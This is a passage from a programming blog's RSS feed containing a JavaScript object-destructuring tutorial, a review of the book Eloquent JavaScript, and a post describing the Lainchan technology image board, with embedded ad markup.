style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(userData.isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; userData.profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToDashboard()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToUserAccount()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the previous code snippet, every time we access to some property of the object we will have to write the name of the &lt;em&gt;userData&lt;/em&gt; object. But what if we assign the object&amp;rsquo;s properties to other constants?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.isLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; profile &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Now we can access the constants individually without referring to the object. But, aren&amp;rsquo;t we repeating userData in each assignment?&lt;/p&gt;&#xA;&lt;h2 id=&#34;destructuring-of-an-object-in-javascript&#34;&gt;Destructuring of an object in javascript&lt;/h2&gt;&#xA;&lt;p&gt;To destructure the object of the previous example, we can use the following syntax:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; userData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {isLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; True, profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Admin&amp;#34;&lt;/span&gt;, email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {isLoggedIn, profile, email} &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now instead of getting the values directly from the object we can get them from the constants and the code becomes easier to read.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToDashboard()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToUserAccount()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition to destructuring objects, JavaScript also allows you to destructure lists. Enter my entry on &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/destructuring-lists-in-javascript/&#34;&gt;destructuring lists in Javascri&lt;/a&gt;&#xA; to learn how to destructure lists in Javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;For those like me, whose first language was not fortunate (or unfortunate) enough to be javascript, destructuring can take on esoteric overtones. In this post I will try to explain in a simple way the destructuring of objects in javascript. Destructuring is a process that, contrary to popular belief, is actually quite simple and, moreover, can improve code readability.&lt;/p&gt;&#xA;&lt;p&gt;If you want to start learning Javascript from scratch I recommend the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/&#34;&gt;book Eloquent Javascript&lt;/a&gt;&#xA;, here I recommend what I consider the best book to start.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The best book for learning modern JavaScript</title>
      <link>https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/</link>
      <pubDate>Tue, 01 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/javascript/the-best-book-for-learning-modern-javascript/</guid>
      
      <category>javascript</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are many good books to learn Javascript however the book Eloquent Javascript really made me understand modern Javascript. If you plan to dedicate some hours to acquire knowledge of this language, &lt;strong&gt;don&amp;rsquo;t waste your time looking for more&lt;/strong&gt;, you will hardly find a book that covers such a variety of concepts in such an understandable and complete way as this one.&lt;/p&gt;&#xA;&lt;h2 id=&#34;5-reasons-to-read-the-book&#34;&gt;5 reasons to read the book&lt;/h2&gt;&#xA;&lt;p&gt;First, the author starts from the assumption that you know absolutely nothing about the language and takes you by the hand from data types, control structures and, when you realize, you are practicing more complex topics such as objects, high-order functions, getters, setters, polymorphism, inheritance, generators, callbacks, asynchrony, etc.. All explained in a pleasant and simple way, with practical examples.&lt;/p&gt;&#xA;&lt;p&gt;Second, the content of the book is updated with new language features. In the book we can find the different types of syntax (old and new) in the import of modules and examples in each of them, the arrow function notation is explained and used frequently so that we become familiar with it, the new types of variables are exposed excellently, as well as the promises and observables.&lt;/p&gt;&#xA;&lt;p&gt;Third, complex topics such as asynchrony or callbacks, which can be difficult to understand at first, are explained in a didactic way. The author masters the concepts perfectly and is able to translate them into examples from everyday life for easy understanding. You will spend the pages of the book talking about crow&amp;rsquo;s nests, robots that send emails and even create a programming language that will run through an interpreter that you can program yourself.&lt;/p&gt;&#xA;&lt;p&gt;Fourth, the book goes a bit beyond the main aspects of language. The last chapters will delve into handling the DOM, setting up a server to create a website to share skills. By the end of the book we will be working with node and practicing the basic commands of its package manager: npm.&lt;/p&gt;&#xA;&lt;p&gt;Fifth, as if all of the above were not enough, the book is &lt;strong&gt;completely free&lt;/strong&gt; in its digital version; it is licensed under a Creative Commons attribution-noncommercial license.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;where-do-i-get-it&#34;&gt;Where do I get it?&lt;/h2&gt;&#xA;&lt;p&gt;If you want a copy go directly to the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://eloquentjavascript.net/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;author&amp;rsquo;s official website&lt;/a&gt;&#xA; and download your copy in PDF, Epub or Mobi at no cost. On the other hand, if you are one of those who prefer to read on paper you can purchase the printed version, at a cost, of course. Unfortunately the book does not yet have a Spanish translation (although it does have a translation in Russian, Portuguese, Farsi and Bulgarian), but if you know English and want to learn Javascript this book is a must for your collection. 28/Jul/2020 Edition: The book has a Spanish version but it is incomplete, however you can read the first twelve chapters in its official website, enter and access to the different formats in which it is available in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://eloquentjs-es.thedojo.mx/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;this link&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;strong&gt;Recommended background:&lt;/strong&gt;&lt;/strong&gt; HTML, CSS and very basic notions of Javascript&#xA;&lt;strong&gt;Recommended to read:&lt;/strong&gt; 9/10&#xA;&lt;strong&gt;Languages:&lt;/strong&gt; English, Spanish, Russian, Portuguese, Bulgarian, Bulgarian&lt;/p&gt;&#xA;&lt;p&gt;Click here to learn &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/dive-into-python-the-best-book-to-learn-python/&#34;&gt;one of the best books to learn Python&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;There are many good books to learn Javascript however the book Eloquent Javascript really made me understand modern Javascript. If you plan to dedicate some hours to acquire knowledge of this language, &lt;strong&gt;don&amp;rsquo;t waste your time looking for more&lt;/strong&gt;, you will hardly find a book that covers such a variety of concepts in such an understandable and complete way as this one.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>The 4chan about technology and programming</title>
      <link>https://coffeebytes.dev/en/opinion/the-4chan-about-technology-and-programming/</link>
      <pubDate>Mon, 16 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/opinion/the-4chan-about-technology-and-programming/</guid>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Many people who spend much of their day in contact with the Internet, whether for pleasure or for work, have eventually ended up on an image board, usually the most popular one among English speakers: 4chan.&lt;/p&gt;&#xA;&lt;p&gt;4 chan has a technology section, called /g/, where there are usually threads about programming, software development, GNU/Linux and other topics that can be quite interesting, however most of them have a quality that leaves much to be desired, full of trolls and users with much ignorance on the subject. In short: they serve no purpose other than mere entertainment.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-tablero-de-imagenes-cyberpunk&#34;&gt;El tablero de imágenes cyberpunk&lt;/h2&gt;&#xA;&lt;p&gt;However there is a hidden gem on the internet, a 4chan but totally specialized in technology and with a rather dark air, worthy of the most pessimistic cyberpunk dystopias. Here you can find tutorials, didactic material, contact with people who know a lot about programming, operating systems and technology in general; a small gold mine that has a lot to offer as long as you know how to take advantage of it.&lt;/p&gt;&#xA;&lt;p&gt;In this place there are several interesting boards, I will only list a few, as there are many. I recommend that when you finish reading this publication you go and check the rest by yourself. I will share with you the four that I think you will find most interesting:&lt;/p&gt;&#xA;&lt;h3 id=&#34;heading&#34;&gt;/λ/&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;This board is fully specialized in programming, there are threads for Python, Javascript, as well as Lua, Rust, Scala and other less popular languages. Tutorials and material to learn about the subject are frequently shared. Occasionally there are people asking for advice on some quite particular topics.&lt;/p&gt;&#xA;&lt;h3 id=&#34;sec&#34;&gt;/sec/&lt;/h3&gt;&#xA;&lt;p&gt;In this board the topic is computer security and everything related. Sometimes there are people who publish vulnerabilities of small web sites that they have discovered while browsing through their code.&lt;/p&gt;&#xA;&lt;h3 id=&#34;heading-1&#34;&gt;/Ω/&lt;/h3&gt;&#xA;&lt;p&gt;Here we discuss technology in general, from different OS (BSD, GNU/Linux, Windows, etc.), digital currencies, to implants with the capacity to store information.&lt;/p&gt;&#xA;&lt;h3 id=&#34;layer&#34;&gt;/layer/&lt;/h3&gt;&#xA;&lt;p&gt;This board is quite peculiar, as it does not allow the use of text, only images, all communication is carried out using steganographic techniques, that is, text hidden in images. Navigating through this board will make you feel as if you were in a Dan Brown novel.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;little-lain-chan&#34;&gt;Little Lain-chan&lt;/h2&gt;&#xA;&lt;p&gt;The name of the website is &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.lainchan.org&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lain chan&lt;/a&gt;&#xA;, named after the series called Serial Experiments Lain; one of the cult series and representative icon of cyberpunk. Please note that, like most of the content on the Internet, the site is in English, so you will probably not be received well if you try to communicate in a language other than English.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Many people who spend much of their day in contact with the Internet, whether for pleasure or for work, have eventually ended up on an image board, usually the most popular one among English speakers: 4chan.&lt;/p&gt;&#xA;&lt;p&gt;4 chan has a technology section, called /g/, where there are usually threads about programming, software development, GNU/Linux and other topics that can be quite interesting, however most of them have a quality that leaves much to be desired, full of trolls and users with much ignorance on the subject. In short: they serve no purpose other than mere entertainment.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to find a previously executed command in GNU Linux?</title>
      <link>https://coffeebytes.dev/en/linux/how-to-find-a-previously-executed-command-in-gnu-linux/</link>
      <pubDate>Sun, 01 Sep 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/how-to-find-a-previously-executed-command-in-gnu-linux/</guid>
      
      <category>linux</category>
      
      
      
      
      
